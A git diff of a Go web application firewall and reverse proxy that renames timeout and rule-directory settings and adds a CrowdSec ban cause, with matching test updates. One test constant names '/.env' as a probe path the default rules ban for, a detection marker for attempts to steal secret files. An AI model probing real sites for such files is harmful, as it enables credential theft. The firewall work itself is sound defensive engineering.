t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
t.Run("with the default "+disposition, func(t *testing.T) {
t.Parallel()
standIn := startWAF(
@@ -1341,8 +1330,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
standIn.URL,
app.URL,
map[string]string{
wafBackendTimeout: "60000",
noAnswerSetting: disposition,
timeoutSetting: "60000",
defaultDisposition: disposition,
},
)
@@ -1354,7 +1343,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
line := out.requestLine(t)
if line["status"] != 0.0 || line["disposition"] != nil ||
line["waf_backend_no_answer"] != nil {
line["default_disposition"] != nil {
t.Errorf("line %v, want status 0 and no disposition", line)
}
@@ -1367,9 +1356,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
}
}
func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
t *testing.T,
) {
func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
t.Parallel()
app := startApp(t, greet)
@@ -1387,7 +1374,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
})
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
wafBackendTimeout: "200",
timeoutSetting: "200",
})
wantGreeting(t, get(t, addr, "/"))
@@ -1451,7 +1438,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
app := startApp(t, greet)
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "60000",
timeoutSetting: "60000",
})
t.Cleanup(func() { close(release) })
@@ -1494,7 +1481,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
// The time limit is long enough for a loaded host to answer the question before
// it runs out.
addr, out := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "3000",
timeoutSetting: "3000",
})
t.Cleanup(func() { close(release) })
@@ -1524,7 +1511,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
backend := startWAFAnsweringReports(t, allow, switchAndHold)
app := startApp(t, greet)
addr, out := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "60000",
timeoutSetting: "60000",
})
wantGreeting(t, get(t, addr, "/"))
@@ -1612,7 +1599,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
backend.URL,
app.URL,
map[string]string{
wafBackendTimeout: "5000",
timeoutSetting: "5000",
},
)
@@ -1905,10 +1892,10 @@ func TestLogLineGivesTheRequestAsSent(t *testing.T) {
}
}
if line["waf_backend_no_answer"] != nil {
if line["default_disposition"] != nil {
t.Errorf(
"waf_backend_no_answer is %v, want it left out",
line["waf_backend_no_answer"],
"default_disposition is %v, want it left out",
line["default_disposition"],
)
}
+11 -12
View File
@@ -67,16 +67,15 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
rq.answer(http.StatusBadGateway)
default:
// waf cannot be connected to, does not answer at all, or does not answer
// within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. A request that keeps waf
// busy past SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, like any request while
// waf is overloaded, gets SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION
// here. deny closes this, at the cost of answering 503 whenever waf is
// slow. Making such requests hard to send is
// within SWW_RPROXY_TIMEOUT_MS. A request that keeps waf busy past
// SWW_RPROXY_TIMEOUT_MS, like any request while waf is overloaded, gets
// SWW_RPROXY_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
// whenever waf is slow. Making such requests hard to send is
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
rq.h.processLog.Warn("waf gave no answer", "error", err.Error())
rq.disposition = rq.h.config.WAFBackendNoAnswerDisposition
rq.wafNoAnswer = true
rq.disposition = rq.h.config.DefaultDisposition
rq.byDefault = true
if rq.disposition == waf.DispositionAllow {
rq.passToApp(ctx)
@@ -87,10 +86,10 @@ func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
}
// ask sends waf the question, and returns its answer, which must have come
// whole within SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It ends when ctx does, as
// when the visitor goes away.
// whole within SWW_RPROXY_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
// away.
func (rq *request) ask(ctx context.Context) (*wafAnswer, error) {
ctx, cancel := context.WithTimeout(ctx, rq.h.config.WAFBackendTimeout)
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
defer cancel()
question, err := rq.newQuestion(ctx)
@@ -243,14 +242,14 @@ func (h *handler) sendReport(ctx context.Context, report *waf.Report) {
}
// postReport posts report to waf, and waits for its answer for up to
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS.
// SWW_RPROXY_TIMEOUT_MS.
func (h *handler) postReport(ctx context.Context, report *waf.Report) error {
body, err := json.Marshal(report)
if err != nil {
return fmt.Errorf("encode the report: %w", err)
}
ctx, cancel := context.WithTimeout(ctx, h.config.WAFBackendTimeout)
ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
defer cancel()
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
+6 -6
View File
@@ -1,5 +1,5 @@
// Package rules reads the rule files: the plain text files in
// SWW_WAF_RULE_FILES_DIR, one rule to a line, that each request is checked
// SWW_WAF_RULES_DIR, one rule to a line, that each request is checked
// against, as the "Rule files" section of SPEC.md describes. They are read
// at start, and again once the directory has had no change for a short
// time after one is edited, added or removed.
@@ -40,7 +40,7 @@ const (
// extension ends the name of every rule file.
const extension = ".rules"
// quietTime is how long SWW_WAF_RULE_FILES_DIR must go without a change before
// quietTime is how long SWW_WAF_RULES_DIR must go without a change before
// the rule files are read again, so that a file still being written, such
// as one saved in place, appended to or copied in with scp, is read only
// once whole.
@@ -103,9 +103,9 @@ type Rule struct {
// Params are what Load needs.
type Params struct {
// Dir is the directory of the rule files (SWW_WAF_RULE_FILES_DIR).
// Dir is the directory of the rule files (SWW_WAF_RULES_DIR).
Dir string
// Enabled is SWW_WAF_RULE_FILES_ENABLED: while it is false, no file is read
// Enabled is SWW_WAF_RULES_ENABLED: while it is false, no file is read
// and no rule loaded.
Enabled bool
// ProcessLog receives how many rules were read, and the error in a
@@ -275,7 +275,7 @@ func read(dir string) ([]Rule, string, error) {
entries, err := os.ReadDir(dir)
if err != nil {
return nil, dir, fmt.Errorf(
"SWW_WAF_RULE_FILES_DIR cannot be read: %w",
"SWW_WAF_RULES_DIR cannot be read: %w",
err,
)
}
@@ -310,7 +310,7 @@ func readFile(
rules []Rule,
places map[string]string,
) ([]Rule, error) {
//nolint:gosec // a rule file, in SWW_WAF_RULE_FILES_DIR
//nolint:gosec // a rule file, in SWW_WAF_RULES_DIR
data, err := os.ReadFile(path)
if err != nil {
return nil, err
+2 -2
View File
@@ -323,7 +323,7 @@ func TestDirectoryThatDoesNotExistStopsTheStart(t *testing.T) {
dir := filepath.Join(t.TempDir(), "rules.d")
wantRefused(t, dir, "SWW_WAF_RULE_FILES_DIR cannot be read: open "+dir+
wantRefused(t, dir, "SWW_WAF_RULES_DIR cannot be read: open "+dir+
": no such file or directory")
}
@@ -352,7 +352,7 @@ func TestEmptyDirectoryLoadsNoRulesAndSaysSo(t *testing.T) {
func TestRuleFilesOffReadNothing(t *testing.T) {
t.Parallel()
// SWW_WAF_RULE_FILES_DIR does not exist, which would stop the start.
// SWW_WAF_RULES_DIR does not exist, which would stop the start.
params, _ := newParams(filepath.Join(t.TempDir(), "rules.d"))
params.Enabled = false
+13 -12
View File
@@ -104,7 +104,7 @@ var (
errVersion = errors.New("unknown version")
// errMissing is for an entry without a field it needs.
errMissing = errors.New("has no")
errCause = errors.New("is not limit, attack or admin")
errCause = errors.New("is not limit, attack, admin or crowdsec")
errExpires = errors.New("is not after its start")
errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New(
@@ -123,11 +123,11 @@ type Params struct {
// CacheDir that of the cache files (SWW_WAF_CACHE_DIR).
Dir string
CacheDir string
// BansWriteDelay is how long after a ban is made bans.json is written
// (SWW_WAF_BANS_WRITE_DELAY), and WriteInterval how often every file
// is (SWW_WAF_STATE_WRITE_INTERVAL).
BansWriteDelay time.Duration
WriteInterval time.Duration
// WriteDelay is how long after a ban is made bans.json is written
// (SWW_WAF_STATE_WRITE_DELAY), and CounterInterval how often every file
// is (SWW_WAF_STATE_COUNTER_INTERVAL).
WriteDelay time.Duration
CounterInterval time.Duration
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
// Anomalies hold the state. RouteWatch is nil while SWW_WAF_ROUTEWATCH_URL is
// unset, and routewatch.json then holds no answers. Alerts also receive a
@@ -318,13 +318,13 @@ func Load(params Params) (*Files, error) {
return f, nil
}
// Run writes bans.json BansWriteDelay after a ban is made, with every ban
// made in between, and every file every WriteInterval, until ctx is
// Run writes bans.json WriteDelay after a ban is made, with every ban
// made in between, and every file every CounterInterval, until ctx is
// done. A write that fails is logged, raised as a file_error alert, and
// the file is written again at its next write. Each write takes in an
// admin's edit of its file first, as writeFile describes.
func (f *Files) Run(ctx context.Context) {
interval := time.NewTicker(f.params.WriteInterval)
interval := time.NewTicker(f.params.CounterInterval)
defer interval.Stop()
var bansDue <-chan time.Time // nil while no ban waits to be written
@@ -335,7 +335,7 @@ func (f *Files) Run(ctx context.Context) {
return
case <-f.params.Ledger.Changed():
if bansDue == nil {
bansDue = time.After(f.params.BansWriteDelay)
bansDue = time.After(f.params.WriteDelay)
}
case <-bansDue:
bansDue = nil
@@ -967,7 +967,7 @@ func (e BanEntry) ban() bans.Ban {
// each expires is read again as written. An expires not after the start
// is refused too, since the netblock's next ban for a broken limit, three
// times as long as this one, would then refuse nothing; and so is a cause
// other than limit, attack or admin, most likely misspelt.
// other than limit, attack, admin or crowdsec, most likely misspelt.
func (f *bansFile) check(data []byte) error {
var written struct {
Bans []struct {
@@ -991,7 +991,8 @@ func (f *bansFile) check(data []byte) error {
case entry.Expires != nil && !entry.Expires.After(entry.Start):
return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin:
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec:
return fmt.Errorf(
"entry %d's cause %q %w",
i+1,
+38 -28
View File
@@ -114,7 +114,8 @@ const permanentBansJSON = `{
"earlier_bans": {
"limit": 3,
"attack": 1,
"admin": 1
"admin": 1,
"crowdsec": 2
}
}
}
@@ -1187,10 +1188,10 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": null, "cause": "admin"}, `+
`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": "2026-10-06T04:00:00Z", "cause": "limit"}, `+
`"expires": "2026-10-06T04:00:00Z", "cause": "crowdsec"}, `+
`{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": null, "cause": "atack"}]}`,
`: entry 4's cause "atack" is not limit, attack or admin`)
`: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
}
func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
@@ -1272,13 +1273,13 @@ func TestUnwritableDirectoryStopsTheStart(t *testing.T) {
// returns once Run waits for its next write, so that every write due by
// then is on disk.
func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
params := newParams(dir)
params.BansWriteDelay = 10 * time.Second
params.WriteDelay = 10 * time.Second
run(t, load(t, params).Run)
// A second ban, made while the first waits to be written, puts the
@@ -1317,19 +1318,19 @@ func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
// the second ban. The other files wait for the interval, an hour
// away.
removeFiles(t, dir, bansJSON)
time.Sleep(params.BansWriteDelay)
time.Sleep(params.WriteDelay)
synctest.Wait()
wantFiles(t, dir)
})
}
func TestEveryFileWrittenEveryWriteInterval(t *testing.T) {
func TestEveryFileWrittenEveryCounterInterval(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
params := newParams(dir)
params.WriteInterval = time.Minute
params.CounterInterval = time.Minute
run(t, load(t, params).Run)
// The files are removed once written, so that each interval shows
@@ -1353,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
params := newParams(dir)
params.BansWriteDelay = 10 * time.Second
params.WriteDelay = 10 * time.Second
run(t, load(t, params).Run)
// A ban, and bans.json written with it.
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
midnight(), bans.Notes{})
time.Sleep(params.BansWriteDelay)
time.Sleep(params.WriteDelay)
synctest.Wait()
// A second ban is to be written BansWriteDelay later. Just before
// A second ban is to be written WriteDelay later. Just before
// then, an admin saves bans.json with the first ban lifted and
// another added.
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
midnight(), bans.Notes{})
time.Sleep(params.BansWriteDelay - time.Nanosecond)
time.Sleep(params.WriteDelay - time.Nanosecond)
synctest.Wait()
edit(t, dir, bansJSON, permanentBansJSON)
@@ -1398,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(
synctest.Test(t, func(t *testing.T) {
dir := t.TempDir()
params := newParams(dir)
params.WriteInterval = time.Minute
params.CounterInterval = time.Minute
run(t, load(t, params).Run)
// A directory in the way of the temporary file of clients.json, a
@@ -2403,16 +2404,16 @@ func newParams(dir string) state.Params {
})
return state.Params{
Dir: dir,
CacheDir: dir,
BansWriteDelay: time.Hour,
WriteInterval: time.Hour,
Dir: dir,
CacheDir: dir,
WriteDelay: time.Hour,
CounterInterval: time.Hour,
Ledger: bans.New(bans.Params{
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: 24 * time.Hour,
LimitBanPermanentAbove: 7 * 24 * time.Hour,
AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000,
LimitBanDuration: time.Hour,
LimitBanRepeatWindow: 24 * time.Hour,
MaxBanDuration: 7 * 24 * time.Hour,
AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000,
}),
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
GeoJS: lookup.New(lookup.Params{
@@ -2446,7 +2447,7 @@ func newParams(dir string) state.Params {
RequestsPerMinute: 1000,
BytesPerMinute: 1 << 30,
},
WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000},
Watch: anomaly.Thresholds{RequestsPerHour: 1000},
NetV4Prefix: 24,
NetV6Prefix: 48,
NamedNetblocks: []anomaly.NamedNetblock{
@@ -2465,8 +2466,9 @@ func office() netip.Prefix {
return netip.MustParsePrefix("203.0.113.0/24")
}
// fill puts a permanent ban an admin made, a ban for a broken limit and one
// for a clear sign of attack, clients with counts and histories,
// fill puts a permanent ban an admin made, a ban for a broken limit, one
// for a clear sign of attack and one for CrowdSec's decision, clients
// with counts and histories,
// GeoJS answers, the blocklists' last tries and the copy of one, two
// verdicts of a DNSBL zone, the AbuseIPDB checks spent today with two
// scores, and two answers of routewatch, as filledListsJSON,
@@ -2483,6 +2485,13 @@ func fill(params state.Params) {
})
params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now,
bans.Notes{RuleID: "env-file", Target: "path"})
params.Ledger.BanForCrowdSec(
netip.MustParsePrefix("198.51.100.9/32"),
now,
now.Add(4*time.Hour),
"crowdsecurity/ssh-bf",
bans.Notes{},
)
for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
@@ -2625,9 +2634,10 @@ func permanentBan() bans.Ban {
Requests: 1500,
Refused: 3,
EarlierBans: bans.EarlierBans{
Limit: 3,
Attack: 1,
Admin: 1,
Limit: 3,
Attack: 1,
Admin: 1,
CrowdSec: 2,
},
},
}
+4 -9
View File
@@ -33,9 +33,9 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
out := &output{}
exited := make(chan int, 1)
settings := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
}
go func() {
@@ -120,12 +120,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
// Another setting does not fail it, even an invalid one, and neither does
// SWW_RPROXY_WAF_BACKEND being unset.
wantHealthCheck(
t,
settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"),
0,
"",
)
wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "")
// Another test can take a closed server's port at once, so the app's
// address here is a multicast address, to which TCP cannot connect.
+4 -5
View File
@@ -15,11 +15,10 @@ import (
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
// requests until ctx is done. Then it gives the requests in progress
// shutdownTimeout to finish, and the reports being sent
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
// when rproxy cannot start. Its process messages name the host's name as
// instance, and it writes those at info or more severe: rproxy has no
// setting for either.
// shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It
// returns the process's exit status, 1 when rproxy cannot start. Its process
// messages name the host's name as instance, and it writes those at info or
// more severe: rproxy has no setting for either.
func RunRProxy(ctx context.Context, params Params) int {
hostname, _ := os.Hostname() // "" when the host has no name to give
processLog := requestlog.NewProcessLogger(
+12 -13
View File
@@ -31,8 +31,8 @@ const (
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
// rproxyUpstreamURL is the setting that says where the app is.
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
// rproxyTimeout is the setting that says how long rproxy waits for waf.
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
// bannedProbe is a path the default rule file bans a client for.
bannedProbe = "/.env"
// otherClient is a client the tests do not ban.
@@ -135,9 +135,9 @@ func wafSettings(t *testing.T) map[string]string {
t.Helper()
return map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
}
}
@@ -241,13 +241,12 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
forwardTo("")
stop()
// With waf down, the site answers, and rproxy says
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
// With waf down, the site answers, and rproxy says the default did it.
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
line := out.line(t, "path", "/after-stop")
if line["disposition"] != waf.DispositionAllow ||
line["waf_backend_no_answer"] != true {
line["default_disposition"] != true {
t.Errorf("rproxy's line is %v", line)
}
@@ -476,7 +475,7 @@ func TestATargetThatCannotGoToWAFIsRefusedForABannedClient(t *testing.T) {
}
line := out.line(t, "path", "admin")
if line["disposition"] != nil || line["waf_backend_no_answer"] != nil {
if line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v, want no disposition", line)
}
}
@@ -497,7 +496,7 @@ func TestAClientWithAZoneIsTheClientWithout(t *testing.T) {
line := out.line(t, "path", bannedProbe)
if line["client_ip"] != "2001:db8::1" ||
line["waf_backend_no_answer"] != nil {
line["default_disposition"] != nil {
t.Errorf("rproxy's line is %v", line)
}
}
@@ -692,7 +691,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
env := map[string]string{
rproxyListenAddr: localhost + ":0",
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
wafBackendTimeout: "60000",
rproxyTimeout: "60000",
wafBackend: backend.URL,
}
out := &output{}
@@ -856,8 +855,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
}{
{"no backend", wafBackend, nil},
{
"another invalid", wafBackendTimeout,
map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
"another invalid", rproxyTimeout,
map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
},
} {
t.Run(tc.name, func(t *testing.T) {
+29 -29
View File
@@ -116,7 +116,7 @@ func RunWAF(ctx context.Context, params Params) int {
processLog := requestlog.NewProcessLogger(params.Stdout,
config.InstanceName(params.Viper), slog.LevelError)
cfg, err := config.WAFFromEnvironment(params.Viper)
cfg, err := config.FromEnvironment(params.Viper)
if err != nil {
return cannotStart(processLog, "invalid setting", err)
}
@@ -159,7 +159,7 @@ func RunWAF(ctx context.Context, params Params) int {
func runWAFWithSettings(
ctx context.Context,
version string,
cfg *config.WAF,
cfg *config.Config,
stdout io.Writer,
remote *remotelog.Sender,
processLog *slog.Logger,
@@ -170,8 +170,8 @@ func runWAFWithSettings(
alertQueue := newAlertQueue(cfg, now, processLog)
ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RuleFilesDir,
Enabled: cfg.RuleFilesEnabled,
Dir: cfg.RulesDir,
Enabled: cfg.RulesEnabled,
ProcessLog: processLog,
Alerts: alertQueue,
})
@@ -246,7 +246,7 @@ func cannotStart(processLog *slog.Logger, message string, err error) int {
// after reading the lookup database while SWW_WAF_LOOKUP_SOURCE is file. A lookup
// database that cannot be read is an error.
func newServer(
cfg *config.WAF, stdout io.Writer, processLog *slog.Logger,
cfg *config.Config, stdout io.Writer, processLog *slog.Logger,
now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue,
crs *coreruleset.CoreRuleSet,
) (*waf.Server, error) {
@@ -293,33 +293,33 @@ func newServer(
// loadStateFiles reads the state and cache files into the parts of server and
// into alertQueue, as state.Load does.
func loadStateFiles(
cfg *config.WAF, server *waf.Server, alertQueue *alerts.Queue,
cfg *config.Config, server *waf.Server, alertQueue *alerts.Queue,
now func() time.Time, processLog *slog.Logger,
) (*state.Files, error) {
return state.Load(state.Params{
Dir: cfg.StateDir,
CacheDir: cfg.CacheDir,
BansWriteDelay: cfg.BansWriteDelay,
WriteInterval: cfg.StateWriteInterval,
Ledger: server.Ledger,
Limiter: server.Limiter,
GeoJS: server.GeoJS,
Lists: server.Lists,
DNSBL: server.DNSBL,
AbuseIPDB: server.AbuseIPDB,
RouteWatch: server.RouteWatch,
Alerts: alertQueue,
Anomalies: server.Anomalies,
Now: now,
ProcessLog: processLog,
Metrics: server.Metrics,
Dir: cfg.StateDir,
CacheDir: cfg.CacheDir,
WriteDelay: cfg.StateWriteDelay,
CounterInterval: cfg.StateCounterInterval,
Ledger: server.Ledger,
Limiter: server.Limiter,
GeoJS: server.GeoJS,
Lists: server.Lists,
DNSBL: server.DNSBL,
AbuseIPDB: server.AbuseIPDB,
RouteWatch: server.RouteWatch,
Alerts: alertQueue,
Anomalies: server.Anomalies,
Now: now,
ProcessLog: processLog,
Metrics: server.Metrics,
})
}
// newAlertQueue returns the queue of the alerts to the webhook, Slack and
// ntfy, with the settings for them.
func newAlertQueue(
cfg *config.WAF, now func() time.Time, processLog *slog.Logger,
cfg *config.Config, now func() time.Time, processLog *slog.Logger,
) *alerts.Queue {
return alerts.New(alerts.Params{
WebhookURL: cfg.AlertWebhookURL,
@@ -338,13 +338,13 @@ func newAlertQueue(
// newRemoteLogSender returns a sender of the log lines to
// SWW_WAF_LOG_REMOTE_URL, with the settings for it.
func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
func newRemoteLogSender(cfg *config.Config) *remotelog.Sender {
return remotelog.New(remotelog.Params{
URL: cfg.LogRemoteURL,
RootCAs: cfg.LogRemoteTLSCAs,
BufferLines: cfg.LogRemoteBufferLines,
Facility: cfg.LogRemoteFacility,
AppName: cfg.LogRemoteAppName,
URL: cfg.LogRemoteURL,
RootCAs: cfg.LogRemoteTLSCAs,
Buffer: cfg.LogRemoteBuffer,
Facility: cfg.LogRemoteFacility,
AppName: cfg.LogRemoteAppName,
})
}
+1 -1
View File
@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
Scheme: remotelog.SchemeTCP,
Host: "127.0.0.1:65536",
},
BufferLines: 1,
Buffer: 1,
})
stopSending := startSending(t.Context(), sender,
+151 -69
View File
@@ -34,20 +34,20 @@ const (
// testVersion is the version the tests give sww.
testVersion = "test"
// localhost is where the tests listen.
localhost = "127.0.0.1"
listenAddr = "SWW_WAF_LISTEN_ADDR"
stateDir = "SWW_WAF_STATE_DIR"
bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY"
stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL"
cacheDir = "SWW_WAF_CACHE_DIR"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
ruleFilesDir = "SWW_WAF_RULE_FILES_DIR"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
instanceName = "SWW_WAF_INSTANCE_NAME"
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
localhost = "127.0.0.1"
listenAddr = "SWW_WAF_LISTEN_ADDR"
stateDir = "SWW_WAF_STATE_DIR"
stateWriteDelay = "SWW_WAF_STATE_WRITE_DELAY"
stateCounterInterval = "SWW_WAF_STATE_COUNTER_INTERVAL"
cacheDir = "SWW_WAF_CACHE_DIR"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
rulesDir = "SWW_WAF_RULES_DIR"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
instanceName = "SWW_WAF_INSTANCE_NAME"
adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWW_WAF_ADMIN_TOKEN the tests set.
adminSecret = "fedcba9876543210fedcba9876543210"
// instance is the SWW_WAF_INSTANCE_NAME the tests set where they look at
@@ -246,9 +246,9 @@ func TestAddressInUseStopsTheStart(t *testing.T) {
out := &output{}
status := run(t.Context(), map[string]string{
listenAddr: taken.Addr().String(),
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
listenAddr: taken.Addr().String(),
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
}, out)
if status != 1 {
t.Errorf("exit status %d, want 1", status)
@@ -268,9 +268,9 @@ func TestServesUntilToldToStop(t *testing.T) {
go func() {
exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
}, out)
}()
@@ -320,7 +320,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
exited <- run(ctx, map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rulesDir: t.TempDir(),
"SWW_WAF_BLOCKLIST_URLS": lists.URL + "/tor.txt",
"SWW_WAF_LOG_LEVEL": "warn",
}, out)
@@ -361,7 +361,7 @@ func TestEveryLogLineAndMetricCarriesTheInstanceName(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rulesDir: t.TempDir(),
metricsToken: token,
instanceName: instance,
}
@@ -398,12 +398,12 @@ func TestStateKeptAcrossRestarts(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rulesDir: t.TempDir(),
rateLimitPerDay: "2",
// Neither comes due in the test: the files are written as
// sww stops.
bansWriteDelay: "1h",
stateWriteInterval: "1h",
stateWriteDelay: "1h",
stateCounterInterval: "1h",
}
// The two requests a day allows, and a stop.
@@ -434,7 +434,7 @@ func TestBanRefusesItsNetblockAfterARestartWithAnotherScope(t *testing.T) {
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
ruleFilesDir: t.TempDir(),
rulesDir: t.TempDir(),
rateLimitPerDay: "1",
scope: "24",
}
@@ -478,13 +478,13 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
ruleFilesDir: t.TempDir(),
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: t.TempDir(),
// No write comes due in the test, so only the watch on the
// directory can take the edits in.
bansWriteDelay: "1h",
stateWriteInterval: "1h",
stateWriteDelay: "1h",
stateCounterInterval: "1h",
}
runUntilStopped(t, env, func(url string) {
@@ -508,14 +508,14 @@ func TestBanAddedAndLiftedThroughTheEndpointsKeptInBansJSON(t *testing.T) {
dir := t.TempDir()
env := map[string]string{
listenAddr: localhost + ":0",
stateDir: dir,
ruleFilesDir: t.TempDir(),
adminToken: adminSecret,
listenAddr: localhost + ":0",
stateDir: dir,
rulesDir: t.TempDir(),
adminToken: adminSecret,
// Neither comes due in the test: the files are written as
// sww stops.
